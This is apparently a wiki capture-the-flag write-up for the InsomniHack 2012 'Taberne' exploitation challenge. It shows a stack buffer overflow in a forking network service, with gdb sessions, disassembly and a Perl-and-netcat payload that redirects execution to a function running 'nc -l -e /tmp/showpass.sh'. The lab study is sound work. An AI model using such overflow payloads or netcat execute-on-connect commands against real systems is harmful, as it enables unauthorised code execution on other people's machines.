Last modified on 5 March 2012, at 21:59

InsomniHack-2012/Exploitation/3 Taberne

Revision as of 21:59, 5 March 2012 by Rafioz0 (Talk | contribs)

We downloaded a file called "toto",


# file toto 
toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped

# strings toto 
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
socket
exit
htons
perror
fork
listen
strlen
bind
read
memcpy
strcat
bzero
system
atoi
close
accept
__libc_start_main
write
snprintf
GLIBC_2.0
PTRh@
[^_]
ERROR writing to socket
nc -l -e /tmp/showpass.sh -p 
ERROR opening socket
ERROR on binding
ERROR on accept
Error on fork
Adieu l'ami, dis-voir c'que c'est ton mot de passe: 
De dieu, tu t'en souviens pas? C'est balot!

# ./toto 1234

On a client, we get:

> nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla
De dieu, tu t'en souviens pas? C'est balot!

It's an exploitation, so on the server, we debug the program (it forks, to we follow the child):

# gdb -q ./toto 
(gdb) set follow-fork-mode child
(gdb) set disassembly-flavor intel
(gdb) r 1234
Starting program: /root/toto 1234

On the client, let's do:

> echo  `perl -e 'print "A"x24  '`| nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe:

And the server segfaults:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1962]
0x41414141 in ?? ()

The backtrace is definitely screwed, so we just have a quick look:


0804888c <checkPass>:
 804888c:       55                      push   ebp
 804888d:       89 e5                   mov    ebp,esp
 804888f:       83 ec 28                sub    esp,0x28
 8048892:       c7 44 24 08 20 00 00    mov    DWORD PTR [esp+0x8],0x20 <------
 8048899:       00 
 804889a:       8d 45 f0                lea    eax,[ebp-0x10]
 804889d:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80488a1:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80488a4:       89 04 24                mov    DWORD PTR [esp],eax
 80488a7:       e8 48 fd ff ff          call   80485f4 <read@plt>
 80488ac:       c9                      leave  
 80488ad:       c3                      ret  


We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:


(gdb) b *0x80488ad
Breakpoint 1 at 0x80488ad
(gdb) b *0x80488ad
Breakpoint 1 at 0x80488ad


Breakpoint 1, 0x080488ad in checkPass ()
Current language:  auto; currently asm
(gdb) x /16wx $esp
0xbfe019ac:	0x41414141	0x0000000a	0x00000007	0xbfe01afc
0xbfe019bc:	0xb7f02ff4	0xb7ee6b0c	0x00000001	0xbfe01a44
0xbfe019cc:	0xb5df0002	0x01c710ac	0x00000000	0x00000000
0xbfe019dc:	0xd4040002	0x00000000	0x00000000	0x00000000

So we rewrote with 0x41414141. What to put here ? By having a very quick look at the binary, there is an interesting function called pwnthis:

(gdb) disassemble pwnthis 
Dump of assembler code for function pwnthis:
0x080487ef <pwnthis+0>:	push   ebp
0x080487f0 <pwnthis+1>:	mov    ebp,esp
0x080487f2 <pwnthis+3>:	push   ebx
0x080487f3 <pwnthis+4>:	sub    esp,0x124
0x080487f9 <pwnthis+10>:	mov    eax,DWORD PTR [ebp+0x8]
0x080487fc <pwnthis+13>:	mov    DWORD PTR [esp+0xc],eax
0x08048800 <pwnthis+17>:	mov    DWORD PTR [esp+0x8],0x8048b18
0x08048808 <pwnthis+25>:	mov    DWORD PTR [esp+0x4],0x5
0x08048810 <pwnthis+33>:	lea    eax,[ebp-0x9]
0x08048813 <pwnthis+36>:	mov    DWORD PTR [esp],eax
0x08048816 <pwnthis+39>:	call   0x80486b4 <snprintf@plt>
0x0804881b <pwnthis+44>:	mov    DWORD PTR [esp+0x4],0x100
0x08048823 <pwnthis+52>:	lea    eax,[ebp-0x109]
0x08048829 <pwnthis+58>:	mov    DWORD PTR [esp],eax
0x0804882c <pwnthis+61>:	call   0x80486a4 <bzero@plt>
0x08048831 <pwnthis+66>:	mov    DWORD PTR [esp+0x8],0x1e
0x08048839 <pwnthis+74>:	mov    DWORD PTR [esp+0x4],0x8048b1b
0x08048841 <pwnthis+82>:	lea    ebx,[ebp-0x109]
0x08048847 <pwnthis+88>:	lea    eax,[ebp-0x109]
0x0804884d <pwnthis+94>:	mov    DWORD PTR [esp],eax
0x08048850 <pwnthis+97>:	call   0x8048644 <strlen@plt>
0x08048855 <pwnthis+102>:	lea    eax,[ebx+eax*1]
0x08048858 <pwnthis+105>:	mov    DWORD PTR [esp],eax
0x0804885b <pwnthis+108>:	call   0x8048634 <memcpy@plt>
0x08048860 <pwnthis+113>:	lea    eax,[ebp-0x9]
0x08048863 <pwnthis+116>:	mov    DWORD PTR [esp+0x4],eax
0x08048867 <pwnthis+120>:	lea    eax,[ebp-0x109]
0x0804886d <pwnthis+126>:	mov    DWORD PTR [esp],eax
0x08048870 <pwnthis+129>:	call   0x8048684 <strcat@plt>
0x08048875 <pwnthis+134>:	lea    eax,[ebp-0x109]
0x0804887b <pwnthis+140>:	mov    DWORD PTR [esp],eax
0x0804887e <pwnthis+143>:	call   0x80485a4 <system@plt>
0x08048883 <pwnthis+148>:	add    esp,0x124
0x08048889 <pwnthis+154>:	pop    ebx
0x0804888a <pwnthis+155>:	pop    ebp
0x0804888b <pwnthis+156>:	ret    


So we are going to write the address to return there and break before the system to see the content:

> echo  `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe: 

And on the server side:

Breakpoint 2, 0x0804887e in pwnthis ()
(gdb) x /wx $esp
0xbf9e3c64:	0xbf9e3c83
(gdb) x /s 0xbf9e3c83
0xbf9e3c83:	 "nc -l -e /tmp/showpass.sh -p 1128

Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write 0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128"

So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible.

> nc 172.16.199.131 1128